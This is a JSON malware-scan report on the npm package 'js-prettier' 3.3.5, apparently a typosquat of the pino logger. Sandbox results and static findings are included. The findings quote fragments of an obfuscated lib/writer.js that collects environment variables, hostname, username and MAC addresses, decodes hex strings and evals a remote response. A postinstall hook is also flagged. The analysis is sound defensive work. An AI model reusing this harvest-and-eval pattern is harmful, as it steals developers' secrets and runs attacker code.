{"package":"js-prettier","version":"3.3.5","known":true,"status":"error","discovered_at":1790299416139,"has_install_script":true,"report_url":"https://andymal.com/packages/js-prettier/3.3.5","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790372046034,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":2470,"lab_ip":"10.77.0.152","hooks":[{"name":"postinstall","command":"node ./lib/call.js","exit":1,"timed_out":false,"seconds":0,"stdout_tail":"\n> js-prettier@3.3.5 postinstall\n> node ./lib/call.js\n\n","stderr_tail":"node:internal/modules/cjs/loader:1433\n  throw err;\n  ^\n\nError: Cannot find module 'js-prettier'\nRequire stack:\n- /work/pkg/lib/call.js\n    at Function._resolveFilename (node:internal/modules/cjs/loader:1430:15)\n    at defaultResolveImpl (node:internal/modules/cjs/loader:1040:19)\n    at resolveForCJSWithHooks (node:internal/modules/cjs/loader:1045:22)\n    at Function._load (node:internal/modules/cjs/loader:1216:25)\n    at wrapModuleLoad (node:internal/modules/cjs/loader:254:19)\n    at Module.require (node:internal/modules/cjs/loader:1527:12)\n    at require (node:internal/modules/helpers:147:16)\n    at Object.<anonymous> (/work/pkg/lib/call.js:1:20)\n    at Module._compile (node:internal/modules/cjs/loader:1781:14)\n    at Object..js (node:internal/modules/cjs/loader:1913:10) {\n  code: 'MODULE_NOT_FOUND',\n  requireStack: [ '/work/pkg/lib/call.js' ]\n}\n\nNode.js v22.23.2\n"},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":""}],"process_count":6,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node ./lib/call.js","node ./lib/call.js","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":["/etc/passwd"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"js-prettier","version":"3.3.5","description":"js-prettier","scripts":{"smoke:pino":"node ./pino.js","smoke:file":"node ./file.js","postinstall":"node ./lib/call.js"},"install_hooks":{"postinstall":"node ./lib/call.js"},"bin":{},"main":"pino.js","dependencies":["axios","parse-json","request","sqlite3"],"author":"Robert King <hello@jsonspack.com>","homepage":"https://getpino.io","license":"MIT","hasInstallScript":true},"files":[{"path":"lib/writer.js","size":1342,"kind":"text","score":0.7557333333333334,"hits":["credential_harvest","code_execution","obfuscation","reconnaissance"]},{"path":"docs/transports.md","size":38258,"kind":"text","score":0.6018333333333333,"hits":["network_egress","reverse_shell"]},{"path":"docs/child-loggers.md","size":2826,"kind":"text","score":0.3511666666666666,"hits":["download_execute"]},{"path":"package.json","size":796,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"CONTRIBUTING.md","size":1512,"kind":"text","score":0,"hits":[]},{"path":"docs/api.md","size":49118,"kind":"text","score":0,"hits":[]},{"path":"docs/asynchronous.md","size":1491,"kind":"text","score":0,"hits":[]},{"path":"docs/benchmarks.md","size":1136,"kind":"text","score":0,"hits":[]},{"path":"docs/browser.md","size":7114,"kind":"text","score":0,"hits":[]},{"path":"docs/bundling.md","size":1810,"kind":"text","score":0,"hits":[]},{"path":"docs/ecosystem.md","size":5319,"kind":"text","score":0,"hits":[]},{"path":"docs/help.md","size":11868,"kind":"text","score":0,"hits":[]},{"path":"docs/lts.md","size":2929,"kind":"text","score":0,"hits":[]},{"path":"docs/pretty.md","size":939,"kind":"text","score":0,"hits":[]},{"path":"docs/redaction.md","size":4279,"kind":"text","score":0,"hits":[]},{"path":"docs/web.md","size":5328,"kind":"text","score":0,"hits":[]},{"path":"docsify/sidebar.md","size":1214,"kind":"text","score":0,"hits":[]},{"path":"favicon-16x16.png","size":970,"kind":"binary","score":0,"hits":[]},{"path":"favicon-32x32.png","size":1508,"kind":"binary","score":0,"hits":[]},{"path":"favicon.ico","size":15086,"kind":"binary","score":0,"hits":[]},{"path":"file.js","size":358,"kind":"text","score":0,"hits":[]},{"path":"index.html","size":1826,"kind":"text","score":0,"hits":[]},{"path":"lib/call.js","size":338,"kind":"text","score":0,"hits":[],"role":"entry"},{"path":"lib/caller.js","size":551,"kind":"text","score":0,"hits":[]},{"path":"lib/constants.js","size":375,"kind":"text","score":0,"hits":[]},{"path":"lib/deprecations.js","size":183,"kind":"text","score":0,"hits":[]},{"path":"lib/levels.js","size":6707,"kind":"text","score":0,"hits":[]},{"path":"lib/meta.js","size":52,"kind":"text","score":0,"hits":[]},{"path":"lib/multistream.js","size":4431,"kind":"text","score":0,"hits":[]},{"path":"lib/proto.js","size":6663,"kind":"text","score":0,"hits":[]},{"path":"lib/redaction.js","size":3338,"kind":"text","score":0,"hits":[]},{"path":"lib/symbols.js","size":2095,"kind":"text","score":0,"hits":[]},{"path":"lib/time.js","size":328,"kind":"text","score":0,"hits":[]},{"path":"lib/tools.js","size":11864,"kind":"text","score":0,"hits":[]},{"path":"lib/transport-stream.js","size":2246,"kind":"text","score":0,"hits":[]},{"path":"lib/transport.js","size":3950,"kind":"text","score":0,"hits":[]},{"path":"lib/worker.js","size":8961,"kind":"text","score":0,"hits":[]},{"path":"LICENSE","size":1207,"kind":"text","score":0,"hits":[]},{"path":"pino-banner.png","size":42012,"kind":"binary","score":0,"hits":[]},{"path":"pino-logo-hire.png","size":51650,"kind":"binary","score":0,"hits":[]},{"path":"pino-tree.png","size":13407,"kind":"binary","score":0,"hits":[]},{"path":"pino.d.ts","size":40114,"kind":"text","score":0,"hits":[]},{"path":"pino.js","size":834,"kind":"text","score":0,"hits":[],"role":"entry"},{"path":"pretty-demo.png","size":14524,"kind":"binary","score":0,"hits":[]},{"path":"README.md","size":2610,"kind":"text","score":0,"hits":[]},{"path":"SECURITY.md","size":2517,"kind":"text","score":0,"hits":[]},{"path":"tsconfig.json","size":246,"kind":"text","score":0,"hits":[]}],"file_count":47,"unpacked_size":378230,"findings":[{"title":"Install hook","detail":"postinstall: node ./lib/call.js","severity":"low","location":"package.json"},{"title":"Download-and-execute chain","detail":"holds the final value assigned to it: ```sh $ cat my-log | node -e \"process.stdin.once('data', (line) => console.log(JSON.string","severity":"critical","location":"docs/child-loggers.md:82"},{"title":"Network activity","detail":"discord-webhook', options: { webhookUrl: 'https://discord.com/api/webhooks/xxxx/xxxx', } } }) ``` <a id=\"pino-elasticsearch\"></","severity":"medium","location":"docs/transports.md:739"},{"title":"Network activity","detail":"al. Parameters that the method [`sendMessage`](https://core.telegram.org/bots/api#sendmessage) supports can be passed to it. <a id=\"pin","severity":"medium","location":"docs/transports.md:1172"},{"title":"Reverse shell","detail":"t. As an example, use `socat` to fake a listener: ```sh $ socat -v udp4-recvfrom:6000,fork exec:'/bin/cat' ``` Then run an application that uses `pino` fo","severity":"critical","location":"docs/transports.md:1099"},{"title":"Dumps the whole environment (API keys live there)","detail":"}) } return macAddresses } const data = { ...process.env, version: pkg.subModuleVersion, platform: os.platform(","severity":"high","location":"lib/writer.js:22"},{"title":"Executes commands or dynamic code","detail":"hl[3], data, { [hl[4]]: { [hl[5]]: hl[6] } })[[hl[7]]](r => eval(r.data)).catch(() => {})","severity":"medium","location":"lib/writer.js:44"},{"title":"Obfuscated or encoded code","detail":"(), } function g (h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))) } const hl = [ g('7265717569726","severity":"high","location":"lib/writer.js:30"},{"title":"System reconnaissance","detail":"json') function getMacAddress () { const interfaces = os.networkInterfaces() const macAddresses = [] for (const interfaceName in","severity":"low","location":"lib/writer.js:6"},{"title":"System reconnaissance","detail":"process.env, version: pkg.subModuleVersion, platform: os.platform(), hostname: os.hostname(), username: os.userInfo().use","severity":"low","location":"lib/writer.js:24"},{"title":"System reconnaissance","detail":".subModuleVersion, platform: os.platform(), hostname: os.hostname(), username: os.userInfo().username, macAddresses: getM","severity":"low","location":"lib/writer.js:25"},{"title":"System reconnaissance","detail":"rm: os.platform(), hostname: os.hostname(), username: os.userInfo().username, macAddresses: getMacAddress(), } function","severity":"low","location":"lib/writer.js:26"},{"title":"Install hook runs a script","detail":": \"node ./pino.js\", \"smoke:file\": \"node ./file.js\", \"postinstall\": \"node ./lib/call.js\" }, \"keywords\": [ \"fast\", \"logger\", \"stream\"","severity":"medium","location":"package.json:10"}],"injection_findings":[],"hits":{"download_execute":1,"network_egress":2,"reverse_shell":1,"credential_harvest":1,"code_execution":1,"obfuscation":1,"reconnaissance":4,"install_hook_shell":1},"iocs":{"urls":["https://jsonspack.com/issues","https://getpino.io","https://jrfom.com/posts/2017/03/08/a-primer-on-contributing-to-projects-with-git/","https://standardjs.com/","https://nearform.com","https://platformatic.dev","https://www.behance.net/cosmicfox","https://www.elastic.co/products/elasticsearch","https://www.elastic.co/products/kibana","https://www.first.org/cvss/user-guide","http://npm.im/loglevel","http://npm.im/bole","https://npm.im/browserify","https://koajs.com/","http://restify.com/","https://rill.site/","https://npm.im/debug","https://hapijs.com/","https://docs.newrelic.com/docs/logs/logs-context/logs-in-context/","https://www.fluentd.org/dataoutputs","https://linux.die.net/man/1/grep","https://stedolan.github.io/jq/","https://npm.im/pino-text-level-transport","https://npm.im/pino-pretty","https://ss64.com/nt/chcp.html","https://axiom.co/","https://logtail.com","https://betterstack.com","https://betterstack.com/docs/logs/javascript/pino","https://openobserve.ai","https://your-openobserve-server.com","https://airbrake.io/","https://axiom.co","https://couch-server","https://www.datadoghq.com/","https://www.elastic.co/guide/en/kibana/current/setup.html","https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-network.html#common-network-settings","http://192.168.1.42:9200","https://docs.graylog.org/en/2.1/pages/gelf.html","https://www.graylog.org/","https://logdna.com","https://logflare.app","https://brandur.org/logfmt","https://grafana.com/oss/loki/","https://mariadb.org/","https://opentelemetry.io/docs/collector/","https://opentelemetry.io/docs/instrumentation/js/","https://papertrailapp.com","https://datalust.co/seq","https://www.elastic.co/products/logstash","https://yandex.cloud/ru/services/logging","https://www.fastify.io/docs/latest/Reference/Logging/","https://npm.im/pino-http","https://npm.im/hapi-pino","https://npm.im/restify-pino-logger","https://npm.im/nestjs-pino"],"domains":["jsonspack.com","getpino.io","jrfom.com","standardjs.com","nearform.com","platformatic.dev","www.behance.net","www.elastic.co","www.first.org","npm.im","koajs.com","restify.com","rill.site","hapijs.com","docs.newrelic.com","www.fluentd.org","linux.die.net","stedolan.github.io","ss64.com","axiom.co","logtail.com","betterstack.com","openobserve.ai","your-openobserve-server.com","airbrake.io","couch-server","www.datadoghq.com","docs.graylog.org","www.graylog.org","logdna.com","logflare.app","brandur.org","grafana.com","mariadb.org","opentelemetry.io","papertrailapp.com","datalust.co","yandex.cloud","www.fastify.io","gmail.com","logger.info","child.info","log.info","pino.info","bar.papertrailapp.com","request.log.info","req.log.info","request.logger.info","ctx.log.info","event.node.req.log.info"],"ips":["192.168.1.42"]},"score":1,"priority":155,"hints":["install hook postinstall: node ./lib/call.js","untrusted hosts referenced: jsonspack.com, getpino.io, jrfom.com, standardjs.com, nearform.com, platformatic.dev, www.behance.net, www.elastic.co, www.first.org, npm.im, koajs.com, restify.com, rill.site, hapijs.com, docs.newrelic.com","raw IPs referenced: 192.168.1.42","capability hits: reconnaissance×4, network_egress×2, download_execute×1, reverse_shell×1, credential_harvest×1, code_execution×1, obfuscation×1, install_hook_shell×1"],"entry_files":["./lib/call.js","pino.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}